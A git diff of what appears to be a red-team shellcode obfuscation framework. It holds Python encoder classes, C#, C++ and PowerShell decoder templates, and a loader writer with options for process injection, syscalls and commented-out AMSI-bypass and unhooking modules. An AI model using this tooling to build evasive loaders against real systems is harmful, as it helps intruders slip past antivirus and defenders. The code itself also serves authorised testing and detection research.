self.chain.move_to_end(index)
|
||||
self.chain.popitem()
|
||||
|
||||
def encode(self, data):
|
||||
for k, v in self.chain.items():
|
||||
data = v.encode(data)
|
||||
return data
|
||||
|
||||
def validate(self, language=Language.CSHARP):
|
||||
for e in list(self.chain.values()):
|
||||
if not e.is_supported(language):
|
||||
return False
|
||||
current_in, current_out, previous_out = None, None, None
|
||||
if len(self.chain) == 0:
|
||||
return True
|
||||
if self.chain[0].decoder_out[0] != bytes:
|
||||
return False
|
||||
#if self.chain[self.last].decoder_in[0] != str and language == Language.CSHARP:
|
||||
# return False
|
||||
# if self.chain[self.last].decoder_in[0] != bytes and language == Language.POWERSHELL:
|
||||
# return False
|
||||
if self.chain[0].decoder_in[0] != bytes and language == Language.POWERSHELL:
|
||||
return False
|
||||
for k in list(self.chain.keys())[::-1]:
|
||||
current_in = self.chain[k].decoder_in
|
||||
current_out = self.chain[k].decoder_out[0]
|
||||
if previous_out and (previous_out != current_in[0] or previous_out not in current_in):
|
||||
print(current_in)
|
||||
print(previous_out)
|
||||
return False
|
||||
previous_out = current_out
|
||||
return True
|
||||
|
||||
def translate(self, language=Language.CSHARP):
|
||||
modules = []
|
||||
chain = EncoderChain()
|
||||
chain.chain = self.chain.copy()
|
||||
chain.current = self.current
|
||||
call = ""
|
||||
if language == Language.CSHARP:
|
||||
call = Config().get("PLACEHOLDERS", "SHELLCODE_VARIABLE")
|
||||
elif language == Language.POWERSHELL:
|
||||
call = "$" + Config().get("PLACEHOLDERS", "SHELLCODE_VARIABLE")
|
||||
prefix, suffix = "", ""
|
||||
if language == Language.CSHARP:
|
||||
prefix = "byte[] decoded = "
|
||||
suffix = ";"
|
||||
elif language == Language.CPP:
|
||||
prefix = ""
|
||||
suffix = "\n"
|
||||
elif language == Language.POWERSHELL:
|
||||
prefix = "[byte[]] $decoded = "
|
||||
suffix = ";"
|
||||
|
||||
while not chain.is_empty():
|
||||
encoder = chain.pop()
|
||||
encoder_module = encoder.translate(language=language)
|
||||
call = encoder_module.call_component.as_function_call(call, language=language)
|
||||
modules.append(encoder_module)
|
||||
|
||||
call = f"{prefix}{call}{suffix}"
|
||||
|
||||
return modules, call
|
||||
|
||||
@staticmethod
|
||||
def from_list(encoders: list = None):
|
||||
chain = EncoderChain()
|
||||
if not encoders or len(encoders) == 0:
|
||||
return chain
|
||||
for e in encoders:
|
||||
try:
|
||||
if e == "":
|
||||
continue
|
||||
for et in EncoderTypes.to_list():
|
||||
try:
|
||||
encoder_class_string = f"encoders.{str(e).capitalize()}{et}.{str(e).capitalize()}{et}"
|
||||
# print(encoder_class_string)
|
||||
encoder_class = locate(encoder_class_string)
|
||||
encoder_instance = encoder_class()
|
||||
chain.push(encoder_instance)
|
||||
break
|
||||
except:
|
||||
pass
|
||||
except Exception as ex:
|
||||
print(ex)
|
||||
continue
|
||||
return chain
|
|
@ -0,0 +1,50 @@
|
|||
import base64
|
||||
from binascii import hexlify, unhexlify
|
||||
|
||||
from encoders.Encoder import Encoder
|
||||
from engine.component.CallComponent import CallComponent
|
||||
from engine.component.CodeComponent import CodeComponent
|
||||
from engine.component.UsingComponent import UsingComponent
|
||||
from engine.modules.EncoderModule import EncoderModule
|
||||
from enums.Language import Language
|
||||
|
||||
|
||||
class HexEncoder(Encoder):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.decoder_in = [str]
|
||||
self.decoder_out = [bytes]
|
||||
|
||||
def encode(self, data):
|
||||
return hexlify(data).decode()
|
||||
|
||||
def decode(self, data):
|
||||
return unhexlify(data)
|
||||
|
||||
def supported_languages(self):
|
||||
return [Language.CSHARP, Language.CPP, Language.POWERSHELL]
|
||||
|
||||
def translate(self, language=Language.CSHARP, arch=None):
|
||||
module = EncoderModule()
|
||||
module.name = self.__class__.__name__
|
||||
code = self.template(language=language)
|
||||
|
||||
if language == Language.CSHARP:
|
||||
module.call_component = CallComponent("HexEncoder.Decode")
|
||||
module.components = [
|
||||
CodeComponent(code)
|
||||
]
|
||||
elif language == Language.POWERSHELL:
|
||||
|
||||
module.call_component = CallComponent("Invoke-HexDecode")
|
||||
module.components = [
|
||||
CodeComponent(code)
|
||||
]
|
||||
elif language == Language.CPP:
|
||||
|
||||
module.call_component = CallComponent("length = hex_decode(encoded, length);")
|
||||
module.components = [
|
||||
CodeComponent(code)
|
||||
]
|
||||
|
||||
return module
|
|
@ -0,0 +1,64 @@
|
|||
from binascii import hexlify, unhexlify
|
||||
|
||||
from encoders.Encoder import Encoder
|
||||
from engine.component.CallComponent import CallComponent
|
||||
from engine.component.CodeComponent import CodeComponent
|
||||
from engine.modules.EncoderModule import EncoderModule
|
||||
from enums.Language import Language
|
||||
|
||||
|
||||
class NopEncoder(Encoder):
|
||||
"""
|
||||
This encoder takes as input an hexlified version of the payload
|
||||
Then, it perform a NOP insertion byte per byte
|
||||
The resulting payload is duplicated in size
|
||||
|
||||
Input String
|
||||
Output String
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.decoder_in = [bytes]
|
||||
self.decoder_out = [bytes]
|
||||
|
||||
def encode(self, data):
|
||||
if isinstance(data, bytes):
|
||||
data = hexlify(data).decode()
|
||||
data = "".join([f"{data[i:i + 2]}90" for i in range(0, len(data), 2)])
|
||||
return unhexlify(data)
|
||||
|
||||
def decode(self, data):
|
||||
if isinstance(data, bytes):
|
||||
data = hexlify(data).decode()
|
||||
decoded = ""
|
||||
tokens = [data[i:i + 2] for i in range(0, len(data), 2)]
|
||||
for i in range(len(tokens)):
|
||||
if i % 2 == 0:
|
||||
decoded += tokens[i]
|
||||
return unhexlify(decoded)
|
||||
|
||||
def supported_languages(self):
|
||||
return [Language.CSHARP, Language.CPP, Language.POWERSHELL]
|
||||
|
||||
def translate(self, language=Language.CSHARP, arch=None):
|
||||
module = EncoderModule()
|
||||
module.name = self.__class__.__name__
|
||||
code = self.template(language=language)
|
||||
|
||||
if language == Language.CSHARP:
|
||||
module.call_component = CallComponent("NopEncoder.Decode")
|
||||
module.components = [
|
||||
CodeComponent(code)
|
||||
]
|
||||
elif language == Language.CPP:
|
||||
module.call_component = CallComponent("length = nop_decode(encoded, length);")
|
||||
module.components = [
|
||||
CodeComponent(code)
|
||||
]
|
||||
elif language == Language.POWERSHELL:
|
||||
module.call_component = CallComponent("Invoke-NopDecode")
|
||||
module.components = [
|
||||
CodeComponent(code)
|
||||
]
|
||||
return module
|
|
@ -0,0 +1,55 @@
|
|||
from encoders.Encoder import Encoder
|
||||
from engine.component.CallComponent import CallComponent
|
||||
from engine.component.CodeComponent import CodeComponent
|
||||
from engine.modules.EncoderModule import EncoderModule
|
||||
from enums.Language import Language
|
||||
|
||||
|
||||
class RleEncoder(Encoder):
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.decoder_in = [str]
|
||||
self.decoder_out = [str]
|
||||
|
||||
def encode(self, data):
|
||||
encoding = ''
|
||||
prev_char = ''
|
||||
count = 1
|
||||
|
||||
if not data:
|
||||
return ''
|
||||
|
||||
for char in data:
|
||||
if char != prev_char:
|
||||
if prev_char:
|
||||
encoding += str(count) + prev_char + ":"
|
||||
count = 1
|
||||
prev_char = char
|
||||
else:
|
||||
count += 1
|
||||
encoding += str(count) + prev_char
|
||||
return encoding
|
||||
|
||||
def decode(self, data):
|
||||
pairs = data.split(":")
|
||||
decode = ""
|
||||
for p in pairs:
|
||||
decode += p[-1] * int(p[:-1])
|
||||
return decode
|
||||
|
||||
def supported_languages(self):
|
||||
return [Language.CSHARP]
|
||||
|
||||
def translate(self, language=Language.CSHARP, arch=None):
|
||||
module = EncoderModule()
|
||||
module.name = self.__class__.__name__
|
||||
code = self.template(language=language)
|
||||
|
||||
if language == Language.CSHARP:
|
||||
module.call_component = CallComponent("RunLengthEncoder.Decode")
|
||||
module.components = [
|
||||
CodeComponent(code)
|
||||
]
|
||||
return module
|
||||
|
|
@ -0,0 +1,35 @@
|
|||
from encoders.Encoder import Encoder
|
||||
from engine.component.CallComponent import CallComponent
|
||||
from engine.component.CodeComponent import CodeComponent
|
||||
from engine.modules.EncoderModule import EncoderModule
|
||||
from enums.Language import Language
|
||||
|
||||
|
||||
class S2bEncoder(Encoder):
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.decoder_in = [bytes]
|
||||
self.decoder_out = [str]
|
||||
|
||||
def encode(self, data):
|
||||
return data
|
||||
|
||||
def decode(self, data):
|
||||
return data
|
||||
|
||||
def supported_languages(self):
|
||||
return [Language.CSHARP]
|
||||
|
||||
def translate(self, language=Language.CSHARP, arch=None):
|
||||
module = EncoderModule()
|
||||
module.name = self.__class__.__name__
|
||||
code = self.template(language=language)
|
||||
|
||||
if language == Language.CSHARP:
|
||||
module.call_component = CallComponent("S2bEncoder.Decode")
|
||||
module.components = [
|
||||
CodeComponent(code)
|
||||
]
|
||||
return module
|
||||
|
|
@ -0,0 +1,63 @@
|
|||
import base64
|
||||
import secrets
|
||||
import string
|
||||
import struct
|
||||
from itertools import islice, cycle
|
||||
|
||||
from encoders.Encoder import Encoder
|
||||
from engine.component.CallComponent import CallComponent
|
||||
from engine.component.CodeComponent import CodeComponent
|
||||
from engine.modules.EncoderModule import EncoderModule
|
||||
from enums.Language import Language
|
||||
from Crypto.Util import strxor
|
||||
|
||||
|
||||
class XorEncoder(Encoder):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.decoder_in = [bytes]
|
||||
self.decoder_out = [bytes]
|
||||
self.key = ''.join(secrets.choice(".+-,:;_%=()" + string.ascii_letters + string.digits) for _ in range(12)).encode()
|
||||
|
||||
def slow_encode(self, data):
|
||||
encoded = b""
|
||||
if isinstance(data, str):
|
||||
data = bytes(data, 'utf-8')
|
||||
for i in range(len(data)):
|
||||
print(f" [>] Progress: {i * 100 / (len(data) - 1):.2f}% ", end='\r')
|
||||
encoded += struct.pack("B", (data[i] ^ (self.key[i % len(self.key)])))
|
||||
print()
|
||||
return encoded
|
||||
|
||||
def encode(self, data):
|
||||
if isinstance(data, str):
|
||||
data = bytes(data, 'utf-8')
|
||||
return strxor.strxor(data, bytearray(islice(cycle(self.key), len(data))))
|
||||
|
||||
def supported_languages(self):
|
||||
return [Language.CSHARP, Language.CPP, Language.POWERSHELL]
|
||||
|
||||
def decode(self, data):
|
||||
return self.encode(data)
|
||||
|
||||
def translate(self, language=Language.CSHARP, arch=None):
|
||||
module = EncoderModule()
|
||||
module.name = self.__class__.__name__
|
||||
code = self.template(language=language)
|
||||
|
||||
if language == Language.CSHARP:
|
||||
module.call_component = CallComponent("XorEncoder.Decode")
|
||||
module.components = [
|
||||
CodeComponent(code.replace("####KEY####", self.key.decode()))
|
||||
]
|
||||
elif language == Language.CPP:
|
||||
module.call_component = CallComponent("length = xor_encode(encoded, length);")
|
||||
module.components = [
|
||||
CodeComponent(code.replace("####KEY####", self.key.decode()).replace("####KEY_LENGTH####", str(len(self.key))))
|
||||
]
|
||||
elif language == Language.POWERSHELL:
|
||||
module.call_component = CallComponent("Invoke-Xor")
|
||||
module.components = [
|
||||
CodeComponent(code.replace("####KEY####", self.key.decode()))
|
||||
]
|
||||
return module
|
|
@ -0,0 +1,44 @@
|
|||
import base64
|
||||
import codecs
|
||||
import os
|
||||
|
||||
from config.Config import Config
|
||||
from encoders.Encoder import Encoder
|
||||
from engine.component.CallComponent import CallComponent
|
||||
from engine.component.CodeComponent import CodeComponent
|
||||
from engine.modules.EncoderModule import EncoderModule
|
||||
from enums.Architectures import Arch
|
||||
from enums.Language import Language
|
||||
from utils.utils import get_project_root
|
||||
|
||||
|
||||
class ZlibEncoder(Encoder):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.decoder_in = [bytes]
|
||||
self.decoder_out = [bytes]
|
||||
|
||||
def encode(self, data):
|
||||
if isinstance(data, str):
|
||||
data = bytes(data, 'utf-8')
|
||||
compressed = codecs.encode(data, 'zlib')
|
||||
return compressed
|
||||
|
||||
def decode(self, data):
|
||||
return data.decode('zlib')
|
||||
|
||||
def supported_languages(self):
|
||||
return [Language.CSHARP]
|
||||
|
||||
def translate(self, language=Language.CSHARP, arch=Arch.Any):
|
||||
module = EncoderModule()
|
||||
code = self.template(language=language)
|
||||
if language == Language.CSHARP:
|
||||
|
||||
module.name = self.__class__.__name__
|
||||
module.call_component = CallComponent("ZlibEncoder.Decode")
|
||||
module.libraries = [str(Config().get_path("DIRECTORIES", "libs").joinpath(arch.value, "Zlib.Portable.dll"))]
|
||||
module.components = [
|
||||
CodeComponent(code)
|
||||
]
|
||||
return module
|
|
@ -0,0 +1 @@
|
|||
private/
|
|
@ -0,0 +1,27 @@
|
|||
public static class AesEncryptor
|
||||
{
|
||||
public static byte[] Decrypt(byte[] cipherBytes, string DecryptionKey = "####KEY####")
|
||||
{
|
||||
byte[] clearBytes;
|
||||
using (Aes encryptor = Aes.Create())
|
||||
{
|
||||
Rfc2898DeriveBytes pdb = new Rfc2898DeriveBytes(
|
||||
DecryptionKey,
|
||||
System.Text.Encoding.UTF8.GetBytes("####SALT####")
|
||||
);
|
||||
encryptor.Key = pdb.GetBytes(32);
|
||||
encryptor.IV = pdb.GetBytes(16);
|
||||
encryptor.Padding = PaddingMode.None;
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
using (CryptoStream cs = new CryptoStream(ms, encryptor.CreateDecryptor(), CryptoStreamMode.Write))
|
||||
{
|
||||
cs.Write(cipherBytes, 0, cipherBytes.Length);
|
||||
cs.Close();
|
||||
}
|
||||
clearBytes = ms.ToArray();
|
||||
}
|
||||
}
|
||||
return clearBytes;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,12 @@
|
|||
public static class Base64Encoder
|
||||
{
|
||||
public static byte[] Decode(string data)
|
||||
{
|
||||
return Convert.FromBase64String(data);
|
||||
}
|
||||
|
||||
public static byte[] Decode(byte[] data)
|
||||
{
|
||||
return Convert.FromBase64String(System.Text.Encoding.UTF8.GetString(data));
|
||||
}
|
||||
}
|
|
@ -0,0 +1,13 @@
|
|||
public static class HexEncoder
|
||||
{
|
||||
public static byte[] Decode(string hex)
|
||||
{
|
||||
var chars = hex.ToCharArray();
|
||||
var bytes = new List<byte>();
|
||||
for(int index = 0; index < chars.Length; index += 2) {
|
||||
var chunk = new string(chars, index, 2);
|
||||
bytes.Add(byte.Parse(chunk, System.Globalization.NumberStyles.AllowHexSpecifier));
|
||||
}
|
||||
return bytes.ToArray();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,19 @@
|
|||
class NopEncoder
|
||||
{
|
||||
public static byte[] Decode(byte[] data)
|
||||
{
|
||||
int buf_len = data.Length/2 + 1;
|
||||
if (data.Length % 2 == 0){
|
||||
buf_len = data.Length/2;
|
||||
}
|
||||
byte[] decode = new byte[buf_len];
|
||||
int real_length = 0;
|
||||
for (int i=0; i<data.Length; i++){
|
||||
if (i % 2 == 0){
|
||||
decode[real_length] = data[i];
|
||||
real_length++;
|
||||
}
|
||||
}
|
||||
return decode;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,22 @@
|
|||
class RunLengthEncoder
|
||||
{
|
||||
public static string Decode(string data)
|
||||
{
|
||||
string decode = string.Empty;
|
||||
string[] pairs = data.Split(':');
|
||||
|
||||
int index = 0;
|
||||
foreach (string s in pairs)
|
||||
{
|
||||
if (index % 100000 == 0){
|
||||
Console.Write("\r[*] Progress: {0}% ", index*100/pairs.Length);
|
||||
}
|
||||
char original = s[s.Length - 1];
|
||||
int repeat = Int32.Parse(s.Remove(s.Length - 1));
|
||||
decode += new String(original, repeat);
|
||||
index++;
|
||||
}
|
||||
Console.WriteLine("\r[*] Progress: 100%");
|
||||
return decode;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,7 @@
|
|||
class S2bEncoder
|
||||
{
|
||||
public static string Decode(byte[] data)
|
||||
{
|
||||
return System.Text.Encoding.UTF8.GetString(data);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,14 @@
|
|||
public static class XorEncoder
|
||||
{
|
||||
public static byte[] Decode(byte[] data)
|
||||
{
|
||||
byte[] decoded = new byte[data.Length];
|
||||
byte[] key = System.Text.Encoding.UTF8.GetBytes("####KEY####");
|
||||
for (int i = 0; i < data.Length; i++)
|
||||
{
|
||||
decoded[i] = (byte)(data[i] ^ key[i % key.Length]);
|
||||
}
|
||||
return decoded;
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,7 @@
|
|||
public static class ZlibEncoder
|
||||
{
|
||||
public static byte[] Decode(byte[] data)
|
||||
{
|
||||
return Ionic.Zlib.ZlibStream.UncompressBuffer(data);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,11 @@
|
|||
int nop_decode(unsigned char* encoded, int length)
|
||||
{
|
||||
int data_len = 0;
|
||||
for (int i = 0; i < length; i++) {
|
||||
if (i % 2 == 0){
|
||||
encoded[data_len] = encoded[i];
|
||||
data_len++;
|
||||
}
|
||||
}
|
||||
return data_len;
|
||||
}
|
|
@ -0,0 +1,10 @@
|
|||
int xor_encode(unsigned char* data, int data_len)
|
||||
{
|
||||
const char* key = "####KEY####";
|
||||
int key_len = ####KEY_LENGTH####;
|
||||
|
||||
for (int i = 0; i < data_len; i++){
|
||||
data[i] = (data[i] ^ (unsigned char)key[i % key_len]);
|
||||
}
|
||||
return data_len;
|
||||
}
|
|
@ -0,0 +1,44 @@
|
|||
function Invoke-AesDecrypt
|
||||
{
|
||||
[CmdletBinding()]
|
||||
param
|
||||
(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Encrypted,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$Key
|
||||
)
|
||||
|
||||
$DecryptionKey = '####KEY####'
|
||||
|
||||
if(-not([string]::IsNullOrEmpty($Key))){
|
||||
$DecryptionKey = $Key
|
||||
}
|
||||
|
||||
$salt = [System.Text.Encoding]::UTF8.GetBytes("####SALT####");
|
||||
$pdb = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($DecryptionKey, $salt)
|
||||
|
||||
$AESKey = $pdb.GetBytes(32);
|
||||
$AESIV = $pdb.GetBytes(16);
|
||||
$AES = New-Object Security.Cryptography.AesManaged
|
||||
$AES.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
$AES.Padding = [System.Security.Cryptography.PaddingMode]::None
|
||||
$AES.BlockSize = 128
|
||||
$AES.KeySize = 256
|
||||
|
||||
|
||||
$ms = [System.IO.MemoryStream]::new()
|
||||
|
||||
$cs = New-Object System.Security.Cryptography.CryptoStream(
|
||||
$ms,
|
||||
$AES.CreateDecryptor($AESKey, $AESIV),
|
||||
[System.Security.Cryptography.CryptoStreamMode]::Write
|
||||
);
|
||||
|
||||
$cs.Write($Encrypted, 0, $Encrypted.Length)
|
||||
$cs.Close()
|
||||
$decrypted = $ms.ToArray()
|
||||
$ms.Dispose()
|
||||
|
||||
return $decrypted;
|
||||
}
|
|
@ -0,0 +1,13 @@
|
|||
function Invoke-Base64Decode(){
|
||||
param(
|
||||
[Parameter(Mandatory=$True, Position=0)]
|
||||
[object] $Data
|
||||
)
|
||||
|
||||
if ($Data.GetType().Name -eq "String"){
|
||||
return ([System.Convert]::FromBase64String($Data))
|
||||
}
|
||||
elseif ($Data.GetType().Name -eq "Byte[]"){
|
||||
return ([System.Convert]::FromBase64String([Encoding.UTF8]::GetString($Data)))
|
||||
}
|
||||
}
|
|
@ -0,0 +1,11 @@
|
|||
function Invoke-HexDecode(){
|
||||
param(
|
||||
[Parameter(Mandatory=$True, Position=0)]
|
||||
[object] $Data
|
||||
)
|
||||
|
||||
if ($Data.GetType().Name -eq "String"){
|
||||
[byte[]] $decoded = @($Data -split '(.{2})' | ForEach-Object {if (-not $_ -eq ""){ [byte]"0x$_"}})
|
||||
return $decoded
|
||||
}
|
||||
}
|
|
@ -0,0 +1,18 @@
|
|||
function Invoke-NopDecode {
|
||||
[CmdletBinding()]
|
||||
|
||||
param
|
||||
(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Data
|
||||
)
|
||||
[byte[]] $encoded = [System.Byte[]]::new(($Data.Length+1)/2)
|
||||
$j = 0
|
||||
for ($i = 0; $i -lt $Data.length; $i++) {
|
||||
if ($i%2 -eq 0){
|
||||
$encoded[$j] = $Data[$i]
|
||||
$j++
|
||||
}
|
||||
}
|
||||
return $encoded
|
||||
}
|
|
@ -0,0 +1,22 @@
|
|||
function Invoke-Xor {
|
||||
[CmdletBinding()]
|
||||
|
||||
param
|
||||
(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Data
|
||||
)
|
||||
$key = [System.Text.Encoding]::UTF8.GetBytes("####KEY####")
|
||||
|
||||
$encoded = $(for ($i = 0; $i -lt $Data.length; ) {
|
||||
for ($j = 0; $j -lt $key.length; $j++) {
|
||||
$Data[$i] -bxor $key[$j]
|
||||
$i++
|
||||
if ($i -ge $Data.Length) {
|
||||
$j = $key.length
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
return $encoded
|
||||
}
|
|
@ -0,0 +1,177 @@
|
|||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
|
||||
from config.Config import Config
|
||||
from encoders.EncoderChain import EncoderChain
|
||||
from engine.Filter import Filter
|
||||
from engine.Template import Template
|
||||
from engine.TemplateFactory import TemplateFactory
|
||||
from engine.modules.AssemblyInfoModule import AssemblyInfoModule
|
||||
from engine.modules.TemplateModule import TemplateModule, ModuleNotCompatibleException, ModuleNotLoadableException
|
||||
from enums.Architectures import Arch
|
||||
from enums.Language import Language
|
||||
from utils.console import Console
|
||||
|
||||
|
||||
class CodeWriter:
|
||||
def __init__(self, file: str = None,
|
||||
converter=None,
|
||||
delay: int = None,
|
||||
pinject: bool = False,
|
||||
process: str = None,
|
||||
language: Language = Language.CSHARP,
|
||||
template: str = None,
|
||||
_filter: Filter = None,
|
||||
modules: list = None,
|
||||
arch: str = "x64"):
|
||||
self.additional_sources = []
|
||||
self.language = language
|
||||
self.bypass_dll = tempfile.NamedTemporaryFile(
|
||||
delete=True,
|
||||
dir=str(Config().get_path("DIRECTORIES", "WRITER")),
|
||||
suffix=".dll"
|
||||
).name
|
||||
|
||||
dinvoke = len([m for m in modules if m.lower() == "dinvoke"]) > 0
|
||||
syscalls = len([m for m in modules if m.lower() == "syscalls"]) > 0
|
||||
|
||||
kwargs = {
|
||||
"language": language,
|
||||
"seconds": delay,
|
||||
"dinvoke": dinvoke,
|
||||
"syscalls": syscalls,
|
||||
"process": process,
|
||||
"pinject": pinject,
|
||||
"arch": Arch.from_string(arch)
|
||||
}
|
||||
|
||||
modules_objects = []
|
||||
for m in modules:
|
||||
try:
|
||||
modules_objects.append(
|
||||
TemplateModule.from_name(
|
||||
name=m,
|
||||
kwargs=kwargs
|
||||
)
|
||||
)
|
||||
except ModuleNotCompatibleException as e:
|
||||
Console.auto_line(f"[-] Module {m} could not be loaded")
|
||||
except ModuleNotLoadableException as e:
|
||||
Console.auto_line(f"[-] Module {m} is not loadable")
|
||||
|
||||
for m in modules_objects:
|
||||
if m and m.filter_string and m.filter_string != "":
|
||||
_filter.include.append(m.filter_string)
|
||||
_filter.imode = "and"
|
||||
|
||||
if template:
|
||||
self.template = TemplateFactory.from_path(template, language=language, _filter=_filter)
|
||||
else:
|
||||
self.template = TemplateFactory.from_converter(
|
||||
file=file,
|
||||
dinvoke=dinvoke,
|
||||
syscalls=syscalls,
|
||||
pinject=pinject,
|
||||
converter=converter,
|
||||
language=language,
|
||||
_filter=_filter
|
||||
)
|
||||
ext = self.get_temporary_file_extension()
|
||||
|
||||
self.load_modules(modules=modules_objects)
|
||||
|
||||
# if delay and delay > 0:
|
||||
# self.load_module(DelayModule(language=language, seconds=delay),
|
||||
# commit=(not any([bypass, anti_debug, dinvoke, syscalls, unhook, process])))
|
||||
# if unhook:
|
||||
# self.load_module(module=UnhookModule(language=language, dinvoke=dinvoke),
|
||||
# commit=(not any([bypass, anti_debug, dinvoke, syscalls, process])))
|
||||
# if anti_debug:
|
||||
# self.load_module(module=AntiDebugModule(language=language, dinvoke=dinvoke),
|
||||
# commit=(not any([bypass, dinvoke, syscalls, process])))
|
||||
# if bypass:
|
||||
# self.load_module(
|
||||
# module=AmsiModule(
|
||||
# dinvoke=dinvoke,
|
||||
# language=language,
|
||||
# ),
|
||||
# commit=not any([dinvoke, syscalls, process])
|
||||
# )
|
||||
# if dinvoke and language == Language.CSHARP:
|
||||
# self.load_module(module=DinvokeModule(),
|
||||
# commit=any([syscalls, process]))
|
||||
# if process:
|
||||
# self.load_module(module=FindProcessModule(process=process, language=language),
|
||||
# commit=not syscalls)
|
||||
# if load_parameters_module:
|
||||
# self.load_module(module=EvalArgsModule(language=language),
|
||||
# commit=not syscalls)
|
||||
# if syscalls and not dinvoke:
|
||||
# self.load_module(
|
||||
# module=SyscallsModule(libraries=None, language=language),
|
||||
# commit=True)
|
||||
|
||||
# Dirty dirty workaround for DotNetToJScript
|
||||
if self.template.template_name.find("dtjs") > -1:
|
||||
self.load_module(TemplateModule.from_name("dtjs", kwargs=None), commit=True)
|
||||
|
||||
working_directory = Config().get_path("DIRECTORIES", "WRITER")
|
||||
if working_directory and working_directory != "":
|
||||
self.outfile = tempfile.NamedTemporaryFile(dir=working_directory, delete=False, suffix=ext).name
|
||||
else:
|
||||
self.outfile = tempfile.NamedTemporaryFile(delete=False, suffix=ext).name
|
||||
|
||||
@property
|
||||
def source_files(self):
|
||||
self.collect_sources()
|
||||
return [self.outfile] + self.additional_sources
|
||||
|
||||
def get_temporary_file_extension(self):
|
||||
if self.language == Language.CSHARP:
|
||||
return ".cs"
|
||||
elif self.language == Language.CPP:
|
||||
return ".cpp"
|
||||
elif self.language == Language.POWERSHELL:
|
||||
return ".ps1"
|
||||
|
||||
def load_chain(self, chain: EncoderChain = None):
|
||||
if chain:
|
||||
self.template.load_chain(chain=chain)
|
||||
|
||||
def load_modules(self, modules: list):
|
||||
for i in range(len(modules)):
|
||||
commit = (i == len(modules) - 1)
|
||||
self.load_module(modules[i], commit=commit)
|
||||
|
||||
def load_module(self, module: TemplateModule, commit=False):
|
||||
if module:
|
||||
self.template.add_module(module)
|
||||
if commit:
|
||||
self.template.process_modules()
|
||||
|
||||
def collect_sources(self):
|
||||
self.additional_sources = self.template.collect_sources()
|
||||
|
||||
def write_source(self, shellcode):
|
||||
if not shellcode:
|
||||
return False
|
||||
content = ""
|
||||
try:
|
||||
content = self.template.generate(shellcode=shellcode)
|
||||
except Exception as e:
|
||||
print(f"[-] Exception in write_source while decoding template")
|
||||
print(f"[-] Exception: {e}")
|
||||
# traceback.print_exc()
|
||||
sys.exit(1)
|
||||
with open(self.outfile, "w") as out:
|
||||
out.write(content)
|
||||
|
||||
def write(self, template: Template, outfile):
|
||||
raw = template.generate(shellcode=None)
|
||||
with open(outfile, "w") as out:
|
||||
out.write(raw)
|
||||
|
||||
def clean(self):
|
||||
if os.path.isfile(self.outfile):
|
||||
os.unlink(self.outfile)
|
|
@ -0,0 +1,24 @@
|
|||
class Filter:
|
||||
def __init__(self, include: list = None, exclude: list = None, imode="or", emode="and"):
|
||||
self.include = include if include else []
|
||||
self.exclude = exclude if exclude else []
|
||||
self.imode = imode.lower()
|
||||
self.emode = emode.lower()
|
||||
|
||||
def match(self, target):
|
||||
match_include = match_exclude = True
|
||||
if self.include and len(self.include) > 0:
|
||||
if self.imode == "or":
|
||||
match_include = any([target.find(s) >= 0 for s in self.include])
|
||||
elif self.imode == "and":
|
||||
match_include = all([target.find(s) >= 0 for s in self.include])
|
||||
if self.exclude and len(self.exclude) > 0:
|
||||
if self.emode == "or":
|
||||
match_exclude = any([target.find(s) == -1 for s in self.exclude])
|
||||
elif self.emode == "and":
|
||||
match_exclude = all([target.find(s) == -1 for s in self.exclude])
|
||||
return match_include and match_exclude
|
||||
|
||||
def to_string(self):
|
||||
print(f"Include: {','.join(self.include)}, Mode: {self.imode}")
|
||||
print(f"Exclude: {','.join(self.exclude)}, Mode: {self.emode}")
|
|
@ -0,0 +1,154 @@
|
|||
import base64
|
||||
import os
|
||||
import re
|
||||
from binascii import hexlify
|
||||
|
||||
from config.Config import Config
|
||||
from encoders.EncoderChain import EncoderChain
|
||||
from engine.component.UsingComponent import UsingComponent
|
||||
from engine.modules.AdditionalSourceModule import AdditionalSourceModule
|
||||
from engine.modules.AssemblyInfoModule import AssemblyInfoModule
|
||||
from engine.modules.EncoderModule import EncoderModule
|
||||
from enums.Imports import ImportRegex
|
||||
from enums.Language import Language
|
||||
|
||||
|
||||
class TemplateException(Exception):
|
||||
def __init__(self, message):
|
||||
super(TemplateException, self).__init__(message)
|
||||
|
||||
|
||||
class Template:
|
||||
def __init__(self, path=None, language=Language.CSHARP, chain: EncoderChain = None):
|
||||
self.path = path
|
||||
self.imports = []
|
||||
self.modules, self.call_decode = chain.translate(language=language) if chain else [], ""
|
||||
self.language = language
|
||||
self.template = None
|
||||
self.shellcode_placeholder = Config().get("PLACEHOLDERS", "SHELLCODE")
|
||||
self.call_placeholder = Config().get("PLACEHOLDERS", "CALL")
|
||||
if self.language == Language.POWERSHELL:
|
||||
self.shellcode_placeholder = f"<{self.shellcode_placeholder}>"
|
||||
self.call_placeholder = self.call_placeholder.replace("/", "")
|
||||
self.load_template(path)
|
||||
self.template_name = os.path.splitext(path)[0].upper().split("\\")[-1]
|
||||
self.components = []
|
||||
self.libraries = []
|
||||
self.defined = []
|
||||
self.shellcode_type = bytes
|
||||
|
||||
def identify_imports(self, raw_template):
|
||||
matches = ImportRegex.from_lang(language=self.language).finditer(raw_template, re.MULTILINE)
|
||||
for m in matches:
|
||||
self.imports.append(m)
|
||||
|
||||
def load_template(self, path):
|
||||
if not path or not os.path.isfile(path):
|
||||
return
|
||||
try:
